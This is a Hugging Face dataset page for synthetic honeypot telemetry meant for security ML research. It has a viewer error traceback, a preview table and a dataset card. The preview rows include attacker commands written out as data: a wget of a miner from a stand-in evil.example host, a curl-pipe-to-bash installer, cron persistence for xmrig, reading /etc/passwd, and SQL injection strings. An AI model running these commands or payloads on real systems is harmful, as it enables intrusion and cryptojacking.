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Datasets:
alirezaaminzadeh
/
honeypot-telemetry-dataset

Languages:
English
Size:
n<1K
Tags:
cybersecurity
honeypot
threat-hunting
mitre-attack
License:
Dataset card Data Studio Files
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The dataset generation failed
Error code:   DatasetGenerationError
Exception:    CastError
Message:      Couldn't cast
passed: bool
total_events: int64
total_sessions: int64
campaigns_detected: int64
expected_campaigns: int64
campaign_detection_ratio: double
technique_coverage: double
baseline_technique_coverage: double
technique_improvement: double
anomaly_sessions: int64
anomaly_rate: double
detection_rules_generated: int64
graph_edges: int64
processing_ms: double
all_events_sessionized: bool
ip_reputation_enriched: int64
checks: struct<min_sessions: bool, min_campaigns: bool, technique_coverage: bool, detection_rules: bool, ses (... 33 chars omitted)
  child 0, min_sessions: bool
  child 1, min_campaigns: bool
  child 2, technique_coverage: bool
  child 3, detection_rules: bool
  child 4, sessionization: bool
  child 5, latency: bool
command: string
password_pattern: string
download_domain: string
timestamp: timestamp[s]
http_method: string
status_code: int64
source_ip_hash: string
event_id: string
source_ip_prefix: string
request_path: string
username_attempts: list<item: string>
  child 0, item: string
source: string
source_country: string
user_agent: string
session_id: string
source_asn: string
to
{'event_id': Value('string'), 'timestamp': Value('timestamp[s]'), 'source': Value('string'), 'source_ip_hash': Value('string'), 'source_ip_prefix': Value('string'), 'source_asn': Value('string'), 'source_country': Value('string'), 'command': Value('string'), 'request_path': Value('string'), 'http_method': Value('string'), 'status_code': Value('int64'), 'user_agent': Value('string'), 'download_domain': Value('string'), 'username_attempts': List(Value('string')), 'password_pattern': Value('string'), 'session_id': Value('string')}
because column names don't match
Traceback:    Traceback (most recent call last):
                File "/usr/local/lib/python3.14/site-packages/datasets/builder.py", line 1816, in _prepare_split_single
                  for key, table in generator:
                                    ^^^^^^^^^
                File "/src/services/worker/src/worker/job_runners/config/parquet_and_info.py", line 613, in wrapped
                  for item in generator(*args, **kwargs):
                              ~~~~~~~~~^^^^^^^^^^^^^^^^^
                File "/usr/local/lib/python3.14/site-packages/datasets/packaged_modules/json/json.py", line 343, in _generate_tables
                  self._cast_table(pa_table, json_field_paths=json_field_paths),
                  ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                File "/usr/local/lib/python3.14/site-packages/datasets/packaged_modules/json/json.py", line 132, in _cast_table
                  pa_table = table_cast(pa_table, self.info.features.arrow_schema)
                File "/usr/local/lib/python3.14/site-packages/datasets/table.py", line 2369, in table_cast
                  return cast_table_to_schema(table, schema)
                File "/usr/local/lib/python3.14/site-packages/datasets/table.py", line 2297, in cast_table_to_schema
                  raise CastError(
                  ...<3 lines>...
                  )
              datasets.table.CastError: Couldn't cast
              passed: bool
              total_events: int64
              total_sessions: int64
              campaigns_detected: int64
              expected_campaigns: int64
              campaign_detection_ratio: double
              technique_coverage: double
              baseline_technique_coverage: double
              technique_improvement: double
              anomaly_sessions: int64
              anomaly_rate: double
              detection_rules_generated: int64
              graph_edges: int64
              processing_ms: double
              all_events_sessionized: bool
              ip_reputation_enriched: int64
              checks: struct<min_sessions: bool, min_campaigns: bool, technique_coverage: bool, detection_rules: bool, ses (... 33 chars omitted)
                child 0, min_sessions: bool
                child 1, min_campaigns: bool
                child 2, technique_coverage: bool
                child 3, detection_rules: bool
                child 4, sessionization: bool
                child 5, latency: bool
              command: string
              password_pattern: string
              download_domain: string
              timestamp: timestamp[s]
              http_method: string
              status_code: int64
              source_ip_hash: string
              event_id: string
              source_ip_prefix: string
              request_path: string
              username_attempts: list<item: string>
                child 0, item: string
              source: string
              source_country: string
              user_agent: string
              session_id: string
              source_asn: string
              to
              {'event_id': Value('string'), 'timestamp': Value('timestamp[s]'), 'source': Value('string'), 'source_ip_hash': Value('string'), 'source_ip_prefix': Value('string'), 'source_asn': Value('string'), 'source_country': Value('string'), 'command': Value('string'), 'request_path': Value('string'), 'http_method': Value('string'), 'status_code': Value('int64'), 'user_agent': Value('string'), 'download_domain': Value('string'), 'username_attempts': List(Value('string')), 'password_pattern': Value('string'), 'session_id': Value('string')}
              because column names don't match
              
              The above exception was the direct cause of the following exception:
              
              Traceback (most recent call last):
                File "/src/services/worker/src/worker/job_runners/config/parquet_and_info.py", line 1369, in compute_config_parquet_and_info_response
                  parquet_operations, partial, estimated_dataset_info = stream_convert_to_parquet(
                                                                        ~~~~~~~~~~~~~~~~~~~~~~~~~^
                      builder, max_dataset_size_bytes=max_dataset_size_bytes
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                  )
                  ^
                File "/src/services/worker/src/worker/job_runners/config/parquet_and_info.py", line 948, in stream_convert_to_parquet
                  builder._prepare_split(split_generator=splits_generators[split], file_format="parquet")
                  ~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                File "/usr/local/lib/python3.14/site-packages/datasets/builder.py", line 1683, in _prepare_split
                  for job_id, done, content in self._prepare_split_single(
                                               ~~~~~~~~~~~~~~~~~~~~~~~~~~^
                      gen_kwargs=gen_kwargs, job_id=job_id, **_prepare_split_args
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                  ):
                  ^
                File "/usr/local/lib/python3.14/site-packages/datasets/builder.py", line 1869, in _prepare_split_single
                  raise DatasetGenerationError("An error occurred while generating the dataset") from e
              datasets.exceptions.DatasetGenerationError: An error occurred while generating the dataset

Need help to make the dataset viewer work? Make sure to review how to configure the dataset viewer, and open a discussion for direct support.

event_id
string
timestamp
timestamp[s]
source
string
source_ip_hash
string
source_ip_prefix
string
source_asn
string
source_country
string
command
string
request_path
string
http_method
string
status_code
int64
user_agent
string
download_domain
string
username_attempts
list
password_pattern
string
session_id
string
ssh_18522010142_0
2025-06-18T08:00:00
ssh_honeypot
968d8df81d69fea1
185.220.x.x
AS9009
DE
0
[ "root" ]
len~6+digit
sess_0007
ssh_18522010142_1
2025-06-18T08:01:00
ssh_honeypot
968d8df81d69fea1
185.220.x.x
AS9009
DE
0
[ "admin" ]
len~8
sess_0007
ssh_18522010142_2
2025-06-18T08:02:00
ssh_honeypot
968d8df81d69fea1
185.220.x.x
AS9009
DE
0
[ "ubuntu" ]
len~8+digit
sess_0007
ssh_18522010142_3
2025-06-18T08:03:00
ssh_honeypot
968d8df81d69fea1
185.220.x.x
AS9009
DE
0
[ "test" ]
len~4
sess_0007
ssh_18522010142_4
2025-06-18T08:04:00
ssh_honeypot
968d8df81d69fea1
185.220.x.x
AS9009
DE
0
[ "user" ]
len~8+upper+digit+special
sess_0007
ssh_18522010142_5
2025-06-18T08:05:00
ssh_honeypot
968d8df81d69fea1
185.220.x.x
AS9009
DE
0
[ "oracle" ]
len~7
sess_0007
ssh_18522010142_success
2025-06-18T08:07:00
ssh_honeypot
968d8df81d69fea1
185.220.x.x
AS9009
DE
whoami
0
[ "root" ]
len~8+digit
sess_0007
ssh_18522010142_cmd1
2025-06-18T08:08:00
ssh_honeypot
968d8df81d69fea1
185.220.x.x
AS9009
DE
uname -a
0
[]
sess_0007
ssh_18522010142_cmd2
2025-06-18T08:09:00
ssh_honeypot
968d8df81d69fea1
185.220.x.x
AS9009
DE
cat /etc/passwd
0
[]
sess_0007
ssh_18522010142_cmd3
2025-06-18T08:10:00
ssh_honeypot
968d8df81d69fea1
185.220.x.x
AS9009
DE
wget http://malware-cdn.evil.example/xmrig -O /tmp/xmrig
0
malware-cdn.evil.example
[]
sess_0007
ssh_18522010143_0
2025-06-18T08:15:00
ssh_honeypot
931adc1656b0145e
185.220.x.x
AS9009
DE
0
[ "root" ]
len~6+digit
sess_0006
ssh_18522010143_1
2025-06-18T08:16:00
ssh_honeypot
931adc1656b0145e
185.220.x.x
AS9009
DE
0
[ "admin" ]
len~8
sess_0006
ssh_18522010143_2
2025-06-18T08:17:00
ssh_honeypot
931adc1656b0145e
185.220.x.x
AS9009
DE
0
[ "ubuntu" ]
len~8+digit
sess_0006
ssh_18522010143_3
2025-06-18T08:18:00
ssh_honeypot
931adc1656b0145e
185.220.x.x
AS9009
DE
0
[ "test" ]
len~4
sess_0006
ssh_18522010143_4
2025-06-18T08:19:00
ssh_honeypot
931adc1656b0145e
185.220.x.x
AS9009
DE
0
[ "user" ]
len~8+upper+digit+special
sess_0006
ssh_18522010143_5
2025-06-18T08:20:00
ssh_honeypot
931adc1656b0145e
185.220.x.x
AS9009
DE
0
[ "oracle" ]
len~7
sess_0006
ssh_18522010143_success
2025-06-18T08:22:00
ssh_honeypot
931adc1656b0145e
185.220.x.x
AS9009
DE
whoami
0
[ "root" ]
len~8+digit
sess_0006
ssh_18522010143_cmd1
2025-06-18T08:23:00
ssh_honeypot
931adc1656b0145e
185.220.x.x
AS9009
DE
uname -a
0
[]
sess_0006
ssh_18522010143_cmd2
2025-06-18T08:24:00
ssh_honeypot
931adc1656b0145e
185.220.x.x
AS9009
DE
cat /etc/passwd
0
[]
sess_0006
ssh_18522010143_cmd3
2025-06-18T08:25:00
ssh_honeypot
931adc1656b0145e
185.220.x.x
AS9009
DE
wget http://malware-cdn.evil.example/xmrig -O /tmp/xmrig
0
malware-cdn.evil.example
[]
sess_0006
ssh_453332156_0
2025-06-18T08:30:00
ssh_honeypot
17c955e45cd2af7d
45.33.x.x
AS9009
DE
0
[ "root" ]
len~6+digit
sess_0000
ssh_453332156_1
2025-06-18T08:31:00
ssh_honeypot
17c955e45cd2af7d
45.33.x.x
AS9009
DE
0
[ "admin" ]
len~8
sess_0000
ssh_453332156_2
2025-06-18T08:32:00
ssh_honeypot
17c955e45cd2af7d
45.33.x.x
AS9009
DE
0
[ "ubuntu" ]
len~8+digit
sess_0000
ssh_453332156_3
2025-06-18T08:33:00
ssh_honeypot
17c955e45cd2af7d
45.33.x.x
AS9009
DE
0
[ "test" ]
len~4
sess_0000
ssh_453332156_4
2025-06-18T08:34:00
ssh_honeypot
17c955e45cd2af7d
45.33.x.x
AS9009
DE
0
[ "user" ]
len~8+upper+digit+special
sess_0000
ssh_453332156_5
2025-06-18T08:35:00
ssh_honeypot
17c955e45cd2af7d
45.33.x.x
AS9009
DE
0
[ "oracle" ]
len~7
sess_0000
ssh_453332156_success
2025-06-18T08:37:00
ssh_honeypot
17c955e45cd2af7d
45.33.x.x
AS9009
DE
whoami
0
[ "root" ]
len~8+digit
sess_0000
ssh_453332156_cmd1
2025-06-18T08:38:00
ssh_honeypot
17c955e45cd2af7d
45.33.x.x
AS9009
DE
uname -a
0
[]
sess_0000
ssh_453332156_cmd2
2025-06-18T08:39:00
ssh_honeypot
17c955e45cd2af7d
45.33.x.x
AS9009
DE
cat /etc/passwd
0
[]
sess_0000
ssh_453332156_cmd3
2025-06-18T08:40:00
ssh_honeypot
17c955e45cd2af7d
45.33.x.x
AS9009
DE
wget http://malware-cdn.evil.example/xmrig -O /tmp/xmrig
0
malware-cdn.evil.example
[]
sess_0000
miner_16224312890_0
2025-06-18T08:45:00
ssh_honeypot
36c775ebd1a96357
162.243.x.x
AS14061
US
curl -s http://pool.minexmr.com/setup.sh | bash
0
pool.minexmr.com
[]
sess_0002
miner_16224312890_1
2025-06-18T08:46:00
ssh_honeypot
36c775ebd1a96357
162.243.x.x
AS14061
US
chmod +x /tmp/xmrig && /tmp/xmrig -o pool.minexmr.com:4444
0
[]
sess_0002
miner_16224312890_2
2025-06-18T08:47:00
ssh_honeypot
36c775ebd1a96357
162.243.x.x
AS14061
US
crontab -l; echo '*/5 * * * * /tmp/xmrig' | crontab -
0
[]
sess_0002
miner_16224312890_3
2025-06-18T08:48:00
firewall
36c775ebd1a96357
162.243.x.x
AS14061
US
0
[]
sess_0002
miner_10424815522_0
2025-06-18T09:00:00
ssh_honeypot
6a7c68ea0bfe1677
104.248.x.x
AS14061
US
curl -s http://pool.minexmr.com/setup.sh | bash
0
pool.minexmr.com
[]
sess_0005
miner_10424815522_1
2025-06-18T09:01:00
ssh_honeypot
6a7c68ea0bfe1677
104.248.x.x
AS14061
US
chmod +x /tmp/xmrig && /tmp/xmrig -o pool.minexmr.com:4444
0
[]
sess_0005
miner_10424815522_2
2025-06-18T09:02:00
ssh_honeypot
6a7c68ea0bfe1677
104.248.x.x
AS14061
US
crontab -l; echo '*/5 * * * * /tmp/xmrig' | crontab -
0
[]
sess_0005
miner_10424815522_3
2025-06-18T09:03:00
firewall
6a7c68ea0bfe1677
104.248.x.x
AS14061
US
0
[]
sess_0005
web_511518344_0
2025-06-18T09:15:00
waf
4d3aee00960540d8
51.15.x.x
AS12876
FR
/admin/login.php
GET
403
sqlmap/1.7.2#stable
[]
sess_0003
web_511518344_1
2025-06-18T09:16:00
waf
4d3aee00960540d8
51.15.x.x
AS12876
FR
/wp-login.php
GET
403
sqlmap/1.7.2#stable
[]
sess_0003
web_511518344_2
2025-06-18T09:17:00
waf
4d3aee00960540d8
51.15.x.x
AS12876
FR
/api/users?id=1' OR 1=1--
GET
403
sqlmap/1.7.2#stable
[]
sess_0003
web_511518344_3
2025-06-18T09:18:00
waf
4d3aee00960540d8
51.15.x.x
AS12876
FR
/search?q=' UNION SELECT username,password FROM users--
GET
403
sqlmap/1.7.2#stable
[]
sess_0003
web_511518344_4
2025-06-18T09:19:00
waf
4d3aee00960540d8
51.15.x.x
AS12876
FR
/phpmyadmin/index.php
GET
404
sqlmap/1.7.2#stable
[]
sess_0003
web_511518344_5
2025-06-18T09:20:00
waf
4d3aee00960540d8
51.15.x.x
AS12876
FR
/.env
GET
404
sqlmap/1.7.2#stable
[]
sess_0003
web_511518344_auth
2025-06-18T09:22:00
auth
4d3aee00960540d8
51.15.x.x
AS12876
FR
0
[ "admin" ]
len~10+upper+digit+special
sess_0003
web_511518345_0
2025-06-18T09:30:00
waf
1e3569f601568364
51.15.x.x
AS12876
FR
/admin/login.php
GET
403
sqlmap/1.7.2#stable
[]
sess_0001
web_511518345_1
2025-06-18T09:31:00
waf
1e3569f601568364
51.15.x.x
AS12876
FR
/wp-login.php
GET
403
sqlmap/1.7.2#stable
[]
sess_0001
web_511518345_2
2025-06-18T09:32:00
waf
1e3569f601568364
51.15.x.x
AS12876
FR
/api/users?id=1' OR 1=1--
GET
403
sqlmap/1.7.2#stable
[]
sess_0001
web_511518345_3
2025-06-18T09:33:00
waf
1e3569f601568364
51.15.x.x
AS12876
FR
/search?q=' UNION SELECT username,password FROM users--
GET
403
sqlmap/1.7.2#stable
[]
sess_0001
web_511518345_4
2025-06-18T09:34:00
waf
1e3569f601568364
51.15.x.x
AS12876
FR
/phpmyadmin/index.php
GET
404
sqlmap/1.7.2#stable
[]
sess_0001

Honeypot Telemetry Dataset

Sanitized synthetic honeypot telemetry for security ML research and pipeline benchmarking.

Data Sources

Source Description
SSH Honeypot Brute force, command execution, downloads
WAF SQL injection probes, path scanning
Auth Credential stuffing attempts
Web Reconnaissance requests
Firewall Port scans, egress blocks

Privacy Transforms

  1. IP Hashing: SHA-256 with salt, truncated to 16 hex chars
  2. IP Prefix: First two octets preserved
  3. Timestamp Shift: +72 hours
  4. Password Redaction: Pattern only, never raw values
  5. Internal Domains: Stripped → [INTERNAL_DOMAIN]

Splits

Split Description
train.jsonl 70% of events
validation.jsonl 15% of events
test.jsonl 15% of events
sessions.jsonl Session-level aggregations

Evaluation Results

See eval_results.json and benchmark_report.json for reproducible metrics.

Limitations

  • Fully synthetic — no real honeypot captures
  • Limited to 4 campaign archetypes
  • English command strings only
Downloads last month
36
Developed by:
Aria AI Security Engineering Team
License:
MIT
Corpus:
72 events · 10 sessions · 4 campaign archetypes
Total file size:
45 kB

Space using alirezaaminzadeh/honeypot-telemetry-dataset 1